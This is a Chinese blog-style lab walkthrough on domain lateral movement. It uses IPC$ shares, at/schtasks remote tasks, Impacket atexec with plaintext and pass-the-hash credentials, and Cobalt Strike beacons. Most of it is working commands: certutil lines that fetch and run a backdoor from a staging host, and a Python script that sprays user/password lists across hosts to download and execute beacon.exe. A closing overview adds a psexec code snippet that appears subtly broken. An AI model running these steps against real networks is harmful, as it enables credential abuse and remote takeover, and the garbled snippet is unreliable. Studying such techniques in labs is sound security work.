【内网安全】 横向移动&IPC&AT&SC命令&Impacket套件&CS插件&全自动


在这里插入图片描述

章节点

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL,
域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
前提条件:已取得webserver服务器普通域用户权限
简单使用ms14-058提权后,得到sysytem权限

域信息收集-目标&用户&凭据&网络

在这里插入图片描述

shell net user /domain    #cS中操作  下同

在这里插入图片描述

shell ping OWA2010CN-God.god.org  #得到域控DCip

域内存活主机扫描:(使用ARP 扫描192.168.3 网段,只扫描135端口(计算机默认会开启该端口))
在这里插入图片描述
在这里插入图片描述
mimikatz logonpasswords
在这里插入图片描述
Ladon Adfinder BloodHound

当目前为止,收集到了域内存活主机以及webserver上的hash密码

域横向移动-IPC-命令版-AT&schtasks

[at] & [schtasks]

IPC是专用管道,可以实现对远程计算机的访问,
需要使用目标系统用户的账号密码,使用139、445端口。
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
常用ipc命令总结
net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator  #新建连接
net use #查看与本机的所有连接
net use \\192.168.3.32 /del  #删除该连接
net use \\server\ipc$ "password" /user:username # 工作组
net use \\server\ipc$ "password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\                # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除IPC
net view xx.xx.xx.xx                # 查看对方共享

上线配置

这里只做流程演示,不考虑如何获取明文密码
正向:

beacon_bind_tcp->beacon.exe
connect 192.168.3.32 2222

反向:

代理转发->转发上线->beacon.exe

at < Windows2012 (该版本之前的操作系统使用at命令)

建立ipc连接:

shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 

在这里插入图片描述
拷贝执行文件到目标机器

shell copy bindtcp-2222.exe \\192.168.3.21\c$

在这里插入图片描述
添加计划任务

shell at \\192.168.3.21 12:16 c:\bindtcp-2222.exe

在这里插入图片描述
Windows 计划任务程序需要正确的主机名解析来执行 AT 命令。如果在计划任务执行期间无法解析主机名,可能会导致 AT 命令失败并显示 “绑定句柄无效” 错误。修改了 hosts 文件后,Windows 计划任务程序得到了正确的主机名解析,以便正确地执行 AT 命令

在webserver中找到C:\windows\system32\drivers\etc\hosts文件,添加一条记录需要管理员权限,这里只做流程演示
在这里插入图片描述
在这里插入图片描述

connect 192.168.3.21    #等到定时任务生效后执行,正向连接上线

在这里插入图片描述

补充反向连接上线

DC(192.168.2.21)反向连接webserver的4444端口,webserver进行转发上线
后门上传等操作同上
在这里插入图片描述

效果图

在这里插入图片描述
注:定时任务是系统执行程序所以是system权限,手工执行是administrator权限

schtasks >=Windows2012(适用于windows2012后的操作系统版本)

案例使用sqlserver靶机
建立ipc连接:

net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator

复制文件到其C盘

copy bindtcp-2222.exe \\192.168.3.32\c$

创beacon任务对应执行文件

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F 
beacon> shell schtasks /create /s 192.168.3.32 /U administrator /P Admin12345 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F #使用这条命令也行

在这里插入图片描述
运行beacon任务

schtasks /U administrator /P Admin12345 /run /s 192.168.3.32 /tn beacon /i 

在这里插入图片描述

删除beacon任务

schtasks /delete /s 192.168.3.21 /tn beacon /F

建立IPC常见的错误代码

(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPCKaTeX parse error: Expected 'EOF', got '#' at position 93: …账号策略,强制定期更改密码 #̲建立IPC失败的原因 (1)目…共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

域横向移动-IPC-插件版-CS&LSTARS

LSTARS-横向移动-IPC连接 (插件使用)
在这里插入图片描述

域横向移动-IPC-套件版-Impacket-atexec

impacket-atexec

该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试

1、Py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows
CS本地用户明文连接:
shell atexec.exe ./administrator:Admin12345@192.168.3.21 “whoami”
CS域内用户明文连接:
shell atexec.exe god/administrator:Admin12345@192.168.3.21 “ver”
在这里插入图片描述

CS域内本地用户明文密文连接:
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 “whoami”

文件下载进行上线(通过命令下载webserver以及准备好的木马)

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/bindtcp-2222.exe 2222.exe"

在这里插入图片描述

shell atexec.exe god/administrator:Admin12345@192.168.3.21 "2222.exe"

在这里插入图片描述

域横向移动-IPC-代理版-Socks&Py&atexec

1、建立SOCK节点并连接
在这里插入图片描述
2、自写脚本批量下载上线
初始状态只拿到webserver,收集明文密码与hash,python脚本批量跑,原理等同于撞库
在这里插入图片描述
这边也新上线了一台主机
在这里插入图片描述

3、继续收集AJCK凭据横向移动-以此类推

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'itadmin',
    'jack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin!@#45'
    'Admin12345'
}

def xz():#下载后门
    for ip in ips:
        for user in users:
            for mima in passs:
                exec1='python3 .\\atexec.py ./administrator:'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                exec2='python3 .\\atexec.py god/'+user+':'+mima+'@'+ip+' "certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'   #这里是使用可执行程序 效果与py脚本一样
                print('--->'+exec1+'<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

def zx():#执行后门
    for ip in ips:
        for user in users:
            for mima in passs:
                #exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
                exec1 = 'python3 .\\atexec.py  ./administrator:' + mima + '@' + ip + ' "c:/beacon.exe"'
                exec2 = 'python3 .\\atexec.py god/' + user + ':' + mima + '@' + ip + ' "c:/beacon.exe"'
                #exec3='atexec.exe ./administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"'
                print('--->' + exec1 + '<---')
                print('--->' + exec2 + '<---')
                os.system(exec1)
                os.system(exec2)

if __name__ == '__main__':
    xz()
    zx()

这个脚本有个缺陷,就是上线了一台主机后只会与该主机建立通讯,脚本运行被阻塞了,无法判断是否还有其他主机可以利用,修改思路是只根据前面文件下载返回内容进行判断账号和密码是否正确,并打印出来,后续会补上修改后的脚本

### 内网渗透测试中的横向移动 #### 横向移动概述 在内网渗透测试过程中,横向移动是指攻击者通过已有的访问权限,在网络内部扩展控制范围的行为。这一过程涉及多种技术和方法,旨在绕过防护措施并获得更广泛的系统访问权。 #### 不同的入口差异 当被控机器位于域环境中时,收集的信息主要围绕着该域内的用户账户及其凭证展开;而如果是在非域环境下,则更多关注本地系统的配置细节和其他可能存在的漏洞[^3]。对于前者来说,可以通过枚举活动目录对象来发现潜在的目标资源和服务账号,而对于后者则需依赖于特定操作系统版本特有的弱点分析。 #### 切换上线机制 为了保持持久性和隐蔽性,通常会在成功入侵一台设备之后部署额外的远程管理工具或后门程序。这不仅能够实现对现有资产的有效掌控,还能作为进一步深入其他子网段的基础平台。例如,Cobalt Strike框架下的Beacon模块就提供了灵活多样的通信选项支持这种操作模式[^1]。 #### IPC管道的应用场景 进程间通信(Inter-process Communication, IPC)作为一种常见的跨进程数据交换手段,在Windows平台上有着广泛的应用背景。特别是在实施横向迁移的过程中,借助SMB/CIFS协议创建命名管道可以方便快捷地建立起两个不同实体间的稳定联系通道。Impacket库中包含了丰富的API接口用于简化此类任务的操作流程[^2]。 #### AT和SC任务调度功能解析 自动化执行计划允许设定周期性的作业安排,这对于长期潜伏型攻击而言至关重要。AT命令行工具可用来指定某时刻启动某个批处理脚本或者应用程序实例;相比之下,Service Control Manager (SCM)所提供的服务安装/卸载能力更为强大&mdash;&mdash;它能动态注册新的后台守护进程从而达到隐秘驻留的目的[^4]。 #### Impacket套件的具体应用案例 作为一个开源的安全评估软件集合,Impacket由多个实用的小工具构成,专门针对微软网络协议栈进行了优化设计。其中psexec.py模拟了PsExec的功能特性,能够在获取有效认证凭据的前提下迅速接管远端计算机上的PowerShell解释器环境,并以此为基础开展后续侦查工作或是直接调用其它恶意负载组件[^5]。 ```python from impacket.examples import psexec def execute_remote_command(target_ip, username, password, command): executor = psexec.PSEXEC(username=username, password=password, smb_connection=target_ip) try: output = executor.run(cmd=command) print(output.decode()) finally: executor.cleanup() ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值